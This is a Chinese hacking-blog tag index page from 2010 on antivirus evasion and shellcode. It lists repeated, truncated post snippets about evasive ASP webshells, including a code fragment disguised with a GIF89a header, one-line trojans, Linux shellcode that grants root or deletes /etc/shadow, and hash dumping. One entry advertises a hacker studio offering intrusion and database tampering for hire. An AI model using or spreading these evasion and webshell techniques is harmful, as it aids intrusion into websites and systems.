免杀Shellcode 第46页

几款双功能免杀超强版asp小马

第一款：复制代码代码如下:GIF89a$;""thensetfs=server.CreateObject("scripting.filesystemobject")setthisfile=fs.CreateTextFile(testfile,True)thisfile.Write(""&msg&"")iferr=0Thenresponse.write"ok"elseresponse.write"n

·2010-09-05 12:17

FS找Kernel32.dll基地址

00CSubSystemTib010FiberData014ArbitraryUserPointer018FS段寄存器在内存中的镜像地址020进程PID024线程ID02C指向线程局部存储指针030PEB结构地址（进程结构）034上个错误号在shellcode

lwglucky·2010-08-30 01:34

FS找Kernel32.dll基地址

00CSubSystemTib010FiberData014ArbitraryUserPointer018FS段寄存器在内存中的镜像地址020进程PID024线程ID02C指向线程局部存储指针030PEB结构地址（进程结构）034上个错误号在shellcode

lwglucky·2010-08-30 01:34

用“无毒空间”消灭“改变你的一生”木马

改变你的一生木马确实是花了一些工夫的牛逼木马，接管内核，干掉杀软，疯狂下载子木马，不断更新免杀模块，等等招数。都让中招的用户非常头痛。这些招数对付传统的杀毒软件有效，但在无毒空间眼里基本就是杂耍。

小王·2010-08-23 15:03

用“无毒空间”消灭“改变你的一生”木马

改变你的一生木马确实是花了一些工夫的牛逼木马，接管内核，干掉杀软，疯狂下载子木马，不断更新免杀模块，等等招数。都让中招的用户非常头痛。这些招数对付传统的杀毒软件有效，但在无毒空间眼里基本就是杂耍。

小王·2010-08-23 15:03

1861c黑客工作室简介

[1861c黑客]成立于2006年,涉及到各个领域：攻击、入侵、脚本、破解、监控、游戏、木马、免杀、服务器攻击、软件制作、木马编写、源码销售、软件破解、记录查询、强行修改、恶意数据修改网站数据库等.详细情况请联系

1861c·2010-08-18 10:09

1861c黑客工作室简介

[1861c黑客]成立于2006年,涉及到各个领域：攻击、入侵、脚本、破解、监控、游戏、木马、免杀、服务器攻击、软件制作、木马编写、源码销售、软件破解、记录查询、强行修改、恶意数据修改网站数据库等.详细情况请联系

1861c·2010-08-18 10:09

网站服务器提高安全性方案

前段时间搞木马免杀对杀毒软件有一定深入了解，单独杀病毒软件时代已过时了，建议用瑞星杀木马很厉害、卡巴斯基也不错。不要指望杀毒软件杀掉所有的木马，因为ASP木马的特征是可以通过一定手段来避开杀毒软件的查

胡进华·2010-08-17 22:14

网站服务器提高安全性方案

前段时间搞木马免杀对杀毒软件有一定深入了解，单独杀病毒软件时代已过时了，建议用瑞星杀木马很厉害、卡巴斯基也不错。不要指望杀毒软件杀掉所有的木马，因为ASP木马的特征是可以通过一定手段来避开杀毒软件的查

胡进华·2010-08-17 22:14

谈谈个人对360免杀的经验

看了飞舞的360杀毒免杀经验感觉还不错但是还是发布下我个人的看法以后我会出教程的一直以来大伙都说360杀毒定位不出来我有段时间也郁闷了```真的我也定位不出来直接就是PE头```感觉很牛的杀毒其实不以为然

358228677·2010-08-17 14:31

谈谈个人对360免杀的经验

看了飞舞的360杀毒免杀经验感觉还不错但是还是发布下我个人的看法以后我会出教程的一直以来大伙都说360杀毒定位不出来我有段时间也郁闷了```真的我也定位不出来直接就是PE头```感觉很牛的杀毒其实不以为然

358228677·2010-08-17 14:31

对黑客的想法

现在所谓的黑客，大部分都是在操作工具，和我们一般电脑用户的区别是：我们用电脑操作一些诸如360，优化大师，魔方一类的工具，而他们懂点汇编，免杀，会用

returnking·2010-08-13 06:17

对黑客的想法

现在所谓的黑客，大部分都是在操作工具，和我们一般电脑用户的区别是：我们用电脑操作一些诸如360，优化大师，魔方一类的工具，而他们懂点汇编，免杀，会用

returnking·2010-08-13 06:17

从学会webshell隐藏到揪出的简单分析

,后门,古今中外破网必上门,大有一口被捅,千站具废之说,吹大了,主题吧.首先我们以黑暗者说,一旦进入站点,就会留后门,而且目前主流都是asp,php免杀,aspx还比较少,免杀马我就跳过吧.1.进入站点

torabc·2010-08-11 09:43

从学会webshell隐藏到揪出的简单分析

,后门,古今中外破网必上门,大有一口被捅,千站具废之说,吹大了,主题吧.首先我们以黑暗者说,一旦进入站点,就会留后门,而且目前主流都是asp,php免杀,aspx还比较少,免杀马我就跳过吧.1.进入站点

torabc·2010-08-11 09:43

应对eWebEditor漏洞上传文件500错误的方法

By:van附:(多种写一句话的方法)ASP一句话1.2.3.免杀大部分网站的一句话4.免杀部分网站过略的一句话5.executerequest("YouPa

obnus·2010-08-10 22:38

一句话木马的部分整理

ifrequest(chr(35))以上都是正常的SHELL，下面几个是变形，或者是用来免杀的数据库里插入┼�}�诞�整��超�∨�O┩��utf-7的马用include包含一个图片,图片最好是通过

obnus·2010-08-10 22:11

一句话木马的部分整理

ifrequest(chr(35))以上都是正常的SHELL，下面几个是变形，或者是用来免杀的数据库里插入┼�}�诞�整��超�∨�O┩��utf-7的马用include包含一个图片,图片最好是通过

obnus·2010-08-10 22:11

调用约定的参数传递顺序

最简单的例子就是在木马免杀过程中call+ret和jmp是等价的。因此一种高级语言如何实现函

evi10r·2010-08-06 21:00

OverFlow/Exploit/ShellCode

中文版Win2000、XP、Win2003的JMPESP通用跳转地址0x7ffa4512（lion给出的)

yunque100·2010-07-12 09:00

虽然无奈，但要加油

我就属于这种，我泡过落伍，建过网站，赔了点钱，研究过一段漏洞攻击检测，写过一点shellcode，泡过看雪，看了一段时间的《加密与解密》，写了一点点小程序，写的Ja

topcoder1234·2010-07-09 11:00

shellcode网马%u替换

shellcode网马%u替换参照教程:瑞星卡卡技术论坛 networkedition==================shellcode替换的识别：1.比较懒的一种方法，看代码中哪个字符串出现的频率非常高

小默·2010-06-17 17:00

样毒软件的运行

因此，免杀技术逐渐火热起来，而作为一个黑客技术初学者，掌握免杀技术更是迫在眉睫！这篇文章就带领你由杀毒软件原理开始，逐步砸实基础，从而晋升为免杀高手，为以后的黑客生涯铺

wuzijingaip·2010-06-09 14:00

45 bytes give all user root access when execute /bin/sh x86 linux shellcode

Name :45bytesgivealluserrootaccesswhenexecute/bin/shx86linuxshellcodeDate :SatJun 516:10:002010Author

ypc2010·2010-06-07 11:17

45 bytes give all user root access when execute /bin/sh x86 linux shellcode

Name :45bytesgivealluserrootaccesswhenexecute/bin/shx86linuxshellcodeDate :SatJun 516:10:002010Author

ypc2010·2010-06-07 11:17

33 bytes unlink "/etc/shadow" x86 linux shellcode

#Title:33bytesunlink"/etc/shadow"x86linuxshellcode#Published:2010-06-02#Author:gunslinger_ /* Name:33bytesunlink

ypc2010·2010-06-04 08:27

33 bytes unlink "/etc/shadow" x86 linux shellcode

#Title:33bytesunlink"/etc/shadow"x86linuxshellcode#Published:2010-06-02#Author:gunslinger_ /* Name:33bytesunlink

ypc2010·2010-06-04 08:27

2010年vip教程（10G）

一共10余G内容---------------------------------------------------------内容包含识点:1逆向2驱动3免杀4HTM5编程6仿站7设计8汇编9入侵10

冰吻六秒钟·2010-05-05 19:03

2010年vip教程（10G）

一共10余G内容---------------------------------------------------------内容包含识点:1逆向2驱动3免杀4HTM5编程6仿站7设计8汇编9入侵10

冰吻六秒钟·2010-05-05 19:03

导出系统注册表抓Hash的思路整理

在我最近的几次***中，发现pwdump,fgdump这类工具现在已经不免杀了，而且这

tsingfu·2010-04-28 10:51

局域网检测教程

入侵工具：一般要用到三个：NTscan变态扫描器，Recton--D贺免杀专用版，DameWare迷你中文版4.5.

xiao327594883·2010-04-19 11:00

局域网检测教程

入侵工具：一般要用到三个：NTscan变态扫描器，Recton--D贺免杀专用版，DameWare迷你中文版4.5.

xiao327594883·2010-04-19 11:00

冰吻六秒钟·2010-04-18 13:09

H_conly 站长管理助手asp版 v1.2 发现管理漏洞

【删掉了以往版本中可有可无的几个工具，增加了数十个我认为很有用的东西，你可以按自己口味添加或删除】3.可以当后门程序使用，因为完全免杀随意看了下，就发现了问题，这个问题致命的。hconly_fi

佚名·2010-04-17 11:34

fanqie6·2010-04-11 19:22

书写Linux下自己的shellcode

http://linux.sheup.com/linux/40/linux30797.htm书写Linux下自己的shellcode概述： aleph1书写了这篇经典文章，首先要向他致敬。

dux003·2010-04-08 19:00

黑客动画吧免杀班教程1~9

黑客动画吧免杀班教程1~9黑客动画吧免费培训--免杀班第一课http://ww.hack58.com/Soft/html/13/25/2007/2007080911135.htm黑客动画吧免费培训--免杀班第二课

冰吻六秒钟·2010-04-03 01:16

黑客动画吧免杀班教程1~9

黑客动画吧免杀班教程1~9黑客动画吧免费培训--免杀班第一课http://ww.hack58.com/Soft/html/13/25/2007/2007080911135.htm黑客动画吧免费培训--免杀班第二课

冰吻六秒钟·2010-04-03 01:16

免杀教程（从初级到高级）适合新手和进阶

免杀教程一：http://www.namipan.com/d/39e62c6...06a5f6135e48c006300免杀教程二：http://www.namipan.com/d/a05d55b...

冰吻六秒钟·2010-04-03 01:28

免杀教程（从初级到高级）适合新手和进阶

免杀教程一：http://www.namipan.com/d/39e62c6...06a5f6135e48c006300免杀教程二：http://www.namipan.com/d/a05d55b...

冰吻六秒钟·2010-04-03 01:28

冰吻六秒钟·2010-04-03 01:50

冰吻六秒钟·2010-04-01 14:43

使用IDA逆向定位病毒特征码

对于木马技术爱好者来说，会做免杀是必然的一项技术，在自己编写的马被杀的情况下，结合源代码定位出被杀的函数是免杀中重要的一项技能。

chinafe·2010-03-16 09:00

使用IDA逆向定位病毒特征码

对于木马技术爱好者来说，会做免杀是必然的一项技术，在自己编写的马被杀的情况下，结合源代码定位出被杀的函数是免杀中重要的一项技能。

javahigh1·2010-03-16 09:00

推荐频道

免杀Shellcode

几款双功能免杀超强版asp小马

FS找Kernel32.dll基地址

FS找Kernel32.dll基地址

用“无毒空间”消灭“改变你的一生”木马

用“无毒空间”消灭“改变你的一生”木马

1861c黑客工作室简介

1861c黑客工作室简介

网站服务器提高安全性方案

网站服务器提高安全性方案

谈谈个人对360免杀的经验

谈谈个人对360免杀的经验

对黑客的想法

对黑客的想法

从学会webshell隐藏到揪出的简单分析

从学会webshell隐藏到揪出的简单分析

应对eWebEditor漏洞上传文件500错误的方法

一句话木马的部分整理

一句话木马的部分整理

调用约定的参数传递顺序

OverFlow/Exploit/ShellCode

虽然无奈，但要加油

shellcode网马%u替换

样毒软件的运行

45 bytes give all user root access when execute /bin/sh x86 linux shellcode

45 bytes give all user root access when execute /bin/sh x86 linux shellcode

33 bytes unlink "/etc/shadow" x86 linux shellcode

33 bytes unlink "/etc/shadow" x86 linux shellcode

2010年vip教程（10G）

2010年vip教程（10G）

导出系统注册表抓Hash的思路整理

局域网检测教程

局域网检测教程

2010年最新工具包

2010年最新工具包

H_conly 站长管理助手asp版 v1.2 发现管理漏洞

2010最新黑客工具包

2010最新黑客工具包

书写Linux下自己的shellcode

黑客动画吧免杀班教程1~9

黑客动画吧免杀班教程1~9

免杀教程（从初级到高级）适合新手和进阶

免杀教程（从初级到高级）适合新手和进阶

[转帖]甲壳虫最新内部免杀教程

[转帖]甲壳虫最新内部免杀教程

2010最新黑客工具包

2010最新黑客工具包

最新免杀技术/方法总结

最新免杀技术/方法总结

使用IDA逆向定位病毒特征码

使用IDA逆向定位病毒特征码